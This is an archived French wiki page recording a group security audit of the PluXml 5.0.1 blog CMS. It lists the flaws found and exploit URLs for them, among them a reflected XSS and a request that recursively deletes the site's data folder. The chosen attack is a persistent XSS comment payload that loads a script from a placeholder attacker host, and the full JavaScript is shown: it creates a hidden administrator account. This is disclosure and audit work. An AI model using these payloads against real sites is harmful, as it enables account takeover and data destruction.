Outils d'utilisateurs

Outils du Site


zenk_roulettes:zenk_roulette_2

Ceci est une ancienne révision du document !


Zenk Roulette 2 : PluXml 5.0.1

Date : le mardi 10 août 2010 de 19h à 23h00

Application auditée : PluXml 5.0.1 : http://pluxml.org

Description : Il s'agit d'un CMS qui permet de gérer un Blog / Site. Sa particularité est d'être “Databaseless”. En effet, toutes les données sont stockées dans des fichiers XML

Pad : http://piratepad.net/E5ZA3mDptU


Défauts de sécurité :

De nombreux défauts de sécurité ont été identifiés. Certains sont exploitables en tant que simple visiteur du site et d'autres ne sont accessibles qu'à une personne ayant les droits limités d'un rédacteur.

  • Liste à puceFuite du numéro de version (trance) :
http://localhost/pluxml/version
  • Liste à pucePossibilité de lister le contenu de la plupart des dossiers. Pas de .htaccess (Asus).
  • Liste à puceXSS Non persistante à l'invite d'administration (sh4ka) :
http://localhost/pluxml/core/admin/auth.php?p=1337%22%3E%3Cscript%3Ealert%28%22XSS%22%29;%3C/script%3E
  • Liste à pucePour poster un commentaire un captcha est affiché en toutes lettres, on demande simplement l'offset d'une lettre, qui est écrit en français. Facilement contournable automatiquement en testant les différentes possibilités (“première” ⇒ 1, “deuxième” ⇒ 2, etc) (trance).
  • Liste à puceFull Path :
http://localhost/pluxml/core/lib/class.plx.admin.php
http://localhost/pluxml/core/lib/class.plx.feed.php
http://localhost/pluxml/core/lib/class.plx.updater.php

(tryks & BaRBcH).

  • Liste à puceExécution de code PHP dans les pages statiques en tant qu' “Administrateur” uniquement (trance).
  • Liste à puceUn rédacteur peut rendre le fichier users.xml lisible de tous. Il peut en effet le déplacer par le biais de l'interface de gestion des médias ( http://localhost/pluxml/core/admin/medias.php ) afin de le mettre dans n'importe quel dossier, bypassant ainsi le .htaccess du dossier data/configuration. John (ou Sorcier_FXK) n'a plus qu'à finir le travail pour obtenir le mot de passe en clair. (Asus)
  • Liste à puceUn rédacteur peut supprimer récursivement tout le contenu du dossier data et ainsi rendre le site inactif et effacer toutes ses données :
http://localhost/pluxml/core/admin/medias.php?hash=tGJN5ZTw6i&deldir=..&dir=

(Asus).


Solution retenue :

XSS Persistante dans le champ “Site” du formulaire de commentaires (BuRner) :

http://www.rogue.com"><script src=http://attaquant/pluxploit.js></script>

Ainsi, il suffira à l'administrateur de se connecter à la page de l'article contenant le commentaire piégé pour qu'un nouvel administrateur soit créé.

Code source de pluxploit.js (BuRner) :

pluxploit.js
/******************************************
 *
 * Author: Zenk-Security
 * App: Pluxml 5.0.1
 * Type: Persistent XSS expoitation
 * Function: Create Administrator account
 *
 *****************************************/
 
function createXMLHttpRequest()
{
   try { return new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) {}
   try { return new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) {}
   try { return new XMLHttpRequest(); } catch(e) {}
   return null;
}
 
var ajax = createXMLHttpRequest();
if(ajax != null)
{
	var params = 'userNum[]=999&999_newuser=true&999_name=user&999_infos=&999_login=login&999_password=pass&999_profil=0&999_active=1&selection=&update=Modifier+la+liste+des+utilisateurs';
 
	ajax.open('POST', '/pluxml/core/admin/parametres_users.php', true);
	ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
	ajax.setRequestHeader("Content-length", params.length);
	ajax.setRequestHeader("Connection", "close");
	ajax.send(params);
}
zenk_roulettes/zenk_roulette_2.1340877414.txt.gz · Dernière modification: 2017/04/09 15:33 (modification externe)